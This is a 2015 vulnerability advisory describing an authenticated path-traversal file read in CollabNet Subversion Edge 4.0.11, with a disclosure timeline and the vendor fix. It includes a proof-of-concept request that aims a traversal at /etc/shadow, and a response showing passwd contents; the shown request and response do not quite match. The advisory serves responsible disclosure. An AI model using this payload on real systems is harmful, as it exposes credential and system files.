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CollabNet Subversion Edge Management Show LFI

Posted on 30 June 2015

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via "fileName" parameter of the show action # # Date: 10.10.2014 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "fileName" parameter of the show action Vulnerability: Request: GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1 Host: example.com:4434 Response: HTTP/1.1 200 OK [...] <div class="span3">../../../../../../etc/passwd</div> [...] root:x:0:0:root:/root:/bin/bash Fix proposal: Remove feature or santizes the fileName parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories.

 

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